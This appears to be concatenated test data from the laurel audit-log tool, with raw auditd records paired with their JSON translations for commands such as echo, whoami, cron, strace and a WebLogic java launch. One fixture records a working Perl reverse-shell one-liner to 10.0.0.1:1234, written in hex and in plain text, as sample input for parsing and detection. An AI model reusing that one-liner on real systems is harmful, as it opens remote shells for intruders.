16161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616163 type=EXECVE msg=audit(1615150974.493:21028): a1[1]=6461616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616165 type=EXECVE msg=audit(1615150974.493:21028): a1[2]=666161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616167 type=CWD msg=audit(1615150974.493:21028): cwd="/tmp" type=PATH msg=audit(1615150974.493:21028): item=0 name="/bin/echo" inode=261073 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" type=PATH msg=audit(1615150974.493:21028): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=262146 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" type=PROCTITLE msg=audit(1615150974.493:21028): proctitle=2F62696E2F6563686F0061616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161 type=EOE msg=audit(1615150974.493:21028): laurel-0.7.1/src/testdata/record-execve.json000064400000000000000000000021311046102023000171400ustar 00000000000000{"ID":"1615114232.375:15558","NODE":"work","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":10883,"pid":10884,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts1","ses":1,"comm":"whoami","exe":"/usr/bin/whoami","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0x63b29337fd18","0x63b293387d58","0x63b293375640","0xfffffffffffff000"]},"EXECVE":{"argc":1,"ARGV":["whoami"]},"CWD":{"cwd":"/home/user/tmp"},"PATH":[{"item":0,"name":"/usr/bin/whoami","inode":261214,"dev":"ca:03","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","OUID":"root","OGID":"root"},{"item":1,"name":"/lib64/ld-linux-x86-64.so.2","inode":262146,"dev":"ca:03","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["whoami"]}} laurel-0.7.1/src/testdata/record-execve.txt000064400000000000000000000023441046102023000170140ustar 00000000000000node=work type=SYSCALL msg=audit(1615114232.375:15558): arch=c000003e syscall=59 success=yes exit=0 a0=63b29337fd18 a1=63b293387d58 a2=63b293375640 a3=fffffffffffff000 items=2 ppid=10883 pid=10884 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=1 comm="whoami" exe="/usr/bin/whoami" key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" node=work type=EXECVE msg=audit(1615114232.375:15558): argc=1 a0="whoami" node=work type=CWD msg=audit(1615114232.375:15558): cwd="/home/user/tmp" node=work type=PATH msg=audit(1615114232.375:15558): item=0 name="/usr/bin/whoami" inode=261214 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" node=work type=PATH msg=audit(1615114232.375:15558): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=262146 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" node=work type=PROCTITLE msg=audit(1615114232.375:15558): proctitle="whoami" node=work type=EOE msg=audit(1615114232.375:15558): laurel-0.7.1/src/testdata/record-login.json000064400000000000000000000013031046102023000167710ustar 00000000000000{"ID":"1640027821.949:151316","LOGIN":[{"pid":72605,"uid":0,"subj":"unconfined","old-auid":4294967295,"auid":0,"tty":"(none)","old-ses":4294967295,"ses":325,"res":1,"UID":"root","OLD-AUID":"unset","AUID":"root"}],"SYSCALL":{"arch":"0xc00000b7","syscall":64,"success":"yes","exit":1,"items":0,"ppid":519,"pid":72605,"auid":0,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":325,"comm":"cron","exe":"/usr/sbin/cron","subj":"unconfined","key":null,"ARCH":"aarch64","SYSCALL":"write","AUID":"root","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0x7","0xffffe505f9e0","0x1","0xffff90795f10"]}} laurel-0.7.1/src/testdata/record-login.txt000064400000000000000000000012351046102023000166430ustar 00000000000000type=LOGIN msg=audit(1640027821.949:151316): pid=72605 uid=0 subj=unconfined old-auid=4294967295 auid=0 tty=(none) old-ses=4294967295 ses=325 res=1UID="root" OLD-AUID="unset" AUID="root" type=SYSCALL msg=audit(1640027821.949:151316): arch=c00000b7 syscall=64 success=yes exit=1 a0=7 a1=ffffe505f9e0 a2=1 a3=ffff90795f10 items=0 ppid=519 pid=72605 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=325 comm="cron" exe="/usr/sbin/cron" subj=unconfined key=(null)ARCH=aarch64 SYSCALL=write AUID="root" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EOE msg=audit(1640027821.949:151316): laurel-0.7.1/src/testdata/record-nscd.json000064400000000000000000000020531046102023000166130ustar 00000000000000{"ID":"1705071450.879:29498378","SYSCALL":{"arch":"0xc000003e","syscall":42,"success":"no","exit":-2,"items":1,"ppid":1064378,"pid":3736674,"auid":1000,"uid":1000,"gid":1000,"euid":1000,"suid":1000,"fsuid":1000,"egid":1000,"sgid":1000,"fsgid":1000,"tty":"pts9","ses":2,"comm":"ls","exe":"/usr/bin/ls","subj":"unconfined","key":null,"ARCH":"x86_64","SYSCALL":"connect","AUID":"user","UID":"user","GID":"user","EUID":"user","SUID":"user","FSUID":"user","EGID":"user","SGID":"user","FSGID":"user","ARGV":["0x4","0x7ffeabb1aa00","0x6e","0x0"]},"SOCKADDR":[{"saddr":"%01%00/var/run/nscd/socket%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%008S%02%00%00%00%00%008S%02%00%00%00%00%00%00%10%00%00%00%00%00%00%01%00%00%00%05%00%00%00%00`%02%00%00%00%00%00%00`%02%00%00%00%00%00%00`%02%00%00%00%00%00&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]},"CWD":{"cwd":"/root"},"PATH":[{"item":0,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":1,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":2,"name":"/lib64/ld-linux-x86-64.so.2","inode":404797,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_at"]}} laurel-0.7.1/src/testdata/record-perl-reverse-shell.txt000064400000000000000000000040131046102023000212500ustar 00000000000000type=SYSCALL msg=audit(1626611363.720:348501): arch=c000003e syscall=59 success=yes exit=0 a0=55c094deb5c0 a1=55c094dea770 a2=55c094dbf1b0 a3=fffffffffffff286 items=3 ppid=722076 pid=724395 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts3 ses=3 comm="perl" exe="/usr/bin/perl" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F61746F6E282469292929297B6F70656E28535444494E2C223E265322293B6F70656E285354444F55542C223E265322293B6F70656E285354444552522C223E265322293B6578656328222F62696E2F7368202D6922293B7D3B type=CWD msg=audit(1626611363.720:348501): cwd="/root" type=PATH msg=audit(1626611363.720:348501): item=0 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1626611363.720:348501): item=1 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1626611363.720:348501): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=404797 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PROCTITLE msg=audit(1626611363.720:348501): proctitle=7065726C002D650075736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F6174 type=EOE msg=audit(1626611363.720:348501): laurel-0.7.1/src/testdata/record-ptrace.json000064400000000000000000000007031046102023000171420ustar 00000000000000{"ID":"1739218487.007:22145057","SYSCALL":{"arch":"0xc000003e","syscall":101,"success":"yes","exit":0,"items":0,"ppid":1922034,"pid":2732828,"auid":0,"uid":0,"uid":0,"euid":0,"suid":0,"fsuid":0,"euid":0,"suid":0,"fsuid":0,"tty":"pts10","ses":2,"comm":"strace","exe":"/usr/bin/strace","subj":"unconfined","key":null,"ARGV":["0x4206","0x29b07b","0x0","0x51"]},"OBJ_PID":[{"opid":2732155,"oauid":0,"ouid":0,"oses":2,"obj":"unconfined","ocomm":"sleep"}]} laurel-0.7.1/src/testdata/record-ptrace.txt000064400000000000000000000007101046102023000170060ustar 00000000000000type=SYSCALL msg=audit(1739218487.007:22145057): arch=c000003e syscall=101 success=yes exit=0 a0=4206 a1=29b07b a2=0 a3=51 items=0 ppid=1922034 pid=2732828 auid=0 uid=0 uid=0 euid=0 suid=0 fsuid=0 euid=0 suid=0 fsuid=0 tty=pts10 ses=2 comm="strace" exe="/usr/bin/strace" subj=unconfined key=(null) type=OBJ_PID msg=audit(1739218487.007:22145057): opid=2732155 oauid=0 ouid=0 oses=2 obj=unconfined ocomm="sleep" type=EOE msg=audit(1739218487.007:22145057): laurel-0.7.1/src/testdata/record-service-start.txt000064400000000000000000000016421046102023000203300ustar 00000000000000type=SERVICE_START msg=audit(1661853391.646:4486226): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=? msg='unit=apt-daily comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'UID="root" AUID="unset" type=SYSCALL msg=audit(1661853391.646:4486226): arch=c000003e syscall=44 success=yes exit=120 a0=2e a1=7fff698a0190 a2=78 a3=0 items=0 ppid=0 pid=1 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="systemd" exe="/usr/lib/systemd/systemd" subj=? key=(null)ARCH=x86_64 SYSCALL=sendto AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=SOCKADDR msg=audit(1661853391.646:4486226): saddr=100000000000000000000000SADDR={ fam=netlink nlnk-fam=16 nlnk-pid=0 } type=UNKNOWN[1420] msg=audit(1661853391.646:4486226): subj_apparmor=unconfined type=EOE msg=audit(1661853391.646:4486226): laurel-0.7.1/src/testdata/record-syscall-key.json000064400000000000000000000020031046102023000201170ustar 00000000000000{"ID":"1628602815.266:2365","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":3193,"pid":6382,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts0","ses":1,"comm":"cat","exe":"/usr/bin/cat","key":"filter-this","ARGV":["0x2557470","0x247b510","0x2565820","0x5bb"]}} {"ID":"1628602815.266:2366","SYSCALL":{"arch":"0xc000003e","syscall":0,"success":"yes","exit":0,"items":2,"ppid":3193,"pid":6382,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts0","ses":1,"comm":"cat","exe":"/usr/bin/cat","key":"filter-this","ARGV":["0x2557470","0x247b510","0x2565820","0x5bb"]}} {"ID":"1628602815.266:2367","SYSCALL":{"arch":"0xc000003e","syscall":0,"success":"yes","exit":0,"items":2,"ppid":3193,"pid":6382,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts0","ses":1,"comm":"cat","exe":"/usr/bin/cat","key":"this-too","ARGV":["0x2557470","0x247b510","0x2565820","0x5bb"]}} laurel-0.7.1/src/testdata/record-syscall-key.txt000064400000000000000000000017151046102023000177760ustar 00000000000000type=SYSCALL msg=audit(1628602815.266:2365): arch=c000003e syscall=59 success=yes exit=0 a0=2557470 a1=247b510 a2=2565820 a3=5bb items=2 ppid=3193 pid=6382 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/usr/bin/cat" key="filter-this" type=EOE msg=audit(1628602815.266:2365): type=SYSCALL msg=audit(1628602815.266:2366): arch=c000003e syscall=0 success=yes exit=0 a0=2557470 a1=247b510 a2=2565820 a3=5bb items=2 ppid=3193 pid=6382 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/usr/bin/cat" key="filter-this" type=EOE msg=audit(1628602815.266:2366): type=SYSCALL msg=audit(1628602815.266:2367): arch=c000003e syscall=0 success=yes exit=0 a0=2557470 a1=247b510 a2=2565820 a3=5bb items=2 ppid=3193 pid=6382 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/usr/bin/cat" key="this-too" type=EOE msg=audit(1628602815.266:2367): laurel-0.7.1/src/testdata/record-syscall-nullkey.json000064400000000000000000000027421046102023000210240ustar 00000000000000{"ID":"1678282381.452:102336","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":5,"items":0,"ppid":1,"pid":3489504,"auid":34005,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":15589,"comm":"(systemd)","exe":"/usr/lib/systemd/systemd","subj":"system_u:system_r:init_t:s0","key":null,"ARGV":["0x9","0x7ffd4ac563d1","0x5","0x0"]}} {"ID":"1678282381.452:102337","SYSCALL":{"arch":"0xc000003e","syscall":1,"success":"yes","exit":5,"items":0,"ppid":1,"pid":3489504,"auid":34005,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":15589,"comm":"(systemd)","exe":"/usr/lib/systemd/systemd","subj":"system_u:system_r:init_t:s0","key":null,"ARGV":["0x9","0x7ffd4ac563d1","0x5","0x0"]}} {"ID":"1678283440.683:225","PROCTITLE":{"ARGV":["SomeRandomProcess"]},"PATH":[{"item":0,"name":"/proc/2414/root/usr/bin/su","inode":156161,"dev":"fd:00","mode":"0o104755","ouid":0,"ogid":0,"rdev":"00:00","obj":"system_u:object_r:su_exec_t:s0","objtype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0"}],"SYSCALL":{"arch":"0xc000003e","syscall":4,"success":"yes","exit":0,"items":1,"ppid":816,"pid":818,"auid":4292467295,"uid":502,"gid":502,"euid":502,"suid":502,"fsuid":502,"egid":502,"sgid":502,"fsgid":502,"tty":"(none)","ses":4296967295,"comm":"cat","exe":"/usr/bin/cat","subj":"system_u:system_r:system_t:s0","key":null,"ARGV":["0x7edd0caa2e7e0","0x7345b64adba0","0x7ff9874adba0","0xfeefeffefefefeff"]}} laurel-0.7.1/src/testdata/record-syscall-nullkey.txt000064400000000000000000000027461046102023000206760ustar 00000000000000type=SYSCALL msg=audit(1678282381.452:102336): arch=c000003e syscall=59 success=yes exit=5 a0=9 a1=7ffd4ac563d1 a2=5 a3=0 items=0 ppid=1 pid=3489504 auid=34005 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=15589 comm="(systemd)" exe="/usr/lib/systemd/systemd" subj=system_u:system_r:init_t:s0 key=(null) type=EOE msg=audit(1678282381.452:102336): type=SYSCALL msg=audit(1678282381.452:102337): arch=c000003e syscall=1 success=yes exit=5 a0=9 a1=7ffd4ac563d1 a2=5 a3=0 items=0 ppid=1 pid=3489504 auid=34005 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=15589 comm="(systemd)" exe="/usr/lib/systemd/systemd" subj=system_u:system_r:init_t:s0 key=(null) type=EOE msg=audit(1678282381.452:102337): type=PROCTITLE msg=audit(1678283440.683:225): proctitle=536f6d6552616e646f6d50726f63657373 type=PATH msg=audit(1678283440.683:225): item=0 name="/proc/2414/root/usr/bin/su" inode=156161 dev=fd:00 mode=0104755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:su_exec_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 type=SYSCALL msg=audit(1678283440.683:225): arch=c000003e syscall=4 success=yes exit=0 a0=7edd0caa2e7e0 a1=7345b64adba0 a2=7ff9874adba0 a3=feefeffefefefeff items=1 ppid=816 pid=818 auid=4292467295 uid=502 gid=502 euid=502 suid=502 fsuid=502 egid=502 sgid=502 fsgid=502 tty=(none) ses=4296967295 comm="cat" exe="/usr/bin/cat" subj=system_u:system_r:system_t:s0 key=(null) type=EOE msg=audit(1678283440.683:225): laurel-0.7.1/src/testdata/record-uringop.json000064400000000000000000000003431046102023000173470ustar 00000000000000{"ID":"1737533617.373:12266329","URINGOP":[{"uring_op":18,"success":"yes","exit":0,"items":0,"ppid":140504,"pid":3178806,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"subj":"unconfined","key":null}]} laurel-0.7.1/src/testdata/record-uringop.txt000064400000000000000000000003611046102023000172150ustar 00000000000000type=URINGOP msg=audit(1737533617.373:12266329): uring_op=18 success=yes exit=0 items=0 ppid=140504 pid=3178806 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 subj=unconfined key=(null) type=EOE msg=audit(1737533617.373:12266329): laurel-0.7.1/src/testdata/record-weblogic.json000064400000000000000000000027771046102023000174740ustar 00000000000000{"ID":"1734013587.483:2679223","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":1362170,"pid":1362221,"auid":4294967295,"uid":1000,"gid":1000,"euid":1000,"suid":1000,"fsuid":1000,"egid":1000,"sgid":1000,"fsgid":1000,"tty":"(none)","ses":4294967295,"comm":"java","exe":"/usr/java/jdk1.8.0_151/bin/java","subj":"docker-default","key":null,"ARGV":["0x1b5cda0","0x1b762a0","0x1b70790","0x7ffc6132eef0"]},"EXECVE":{"argc":14,"ARGV":["/usr/java/jdk1.8.0_151/bin/java","-server","-Djava.security.egd=file:/dev/./urandom","-cp","/u01/oracle/wlserver/server/lib/weblogic-launcher.jar","-Dlaunch.use.env.classpath=true","-Dweblogic.Name=AdminServer","-Djava.security.policy=/u01/oracle/wlserver/server/lib/weblogic.policy","-Djava.system.class.loader=com.oracle.classloader.weblogic.LaunchClassLoader","-javaagent:/u01/oracle/wlserver/server/lib/debugpatch-agent.jar","-da","-Dwls.home=/u01/oracle/wlserver/server","-Dweblogic.home=/u01/oracle/wlserver/server","weblogic.Server"]},"CWD":{"cwd":"/u01/oracle/user_projects/domains/base_domain"},"PATH":[{"item":0,"name":"/usr/java/jdk1.8.0_151/bin/java","inode":820124,"dev":"00:2f","mode":"0o100755","ouid":10,"ogid":143,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0"},{"item":1,"name":"/lib64/ld-linux-x86-64.so.2","inode":814974,"dev":"00:2f","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0"}]} laurel-0.7.1/src/testdata/record-weblogic.txt000064400000000000000000000031231046102023000173240ustar 00000000000000type=SYSCALL msg=audit(1734013587.483:2679223): arch=c000003e syscall=59 success="yes" exit=0 a0=1b5cda0 a1=1b762a0 a2=1b70790 a3=7ffc6132eef0 items=2 ppid=1362170 pid=1362221 auid=4294967295 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty="(none)" ses=4294967295 comm="java" exe="/usr/java/jdk1.8.0_151/bin/java" subj="docker-default" key=(null) type=EXECVE msg=audit(1734013587.483:2679223): argc=14 a0="/usr/java/jdk1.8.0_151/bin/java" a1="-server" a2="-Djava.security.egd=file:/dev/./urandom" 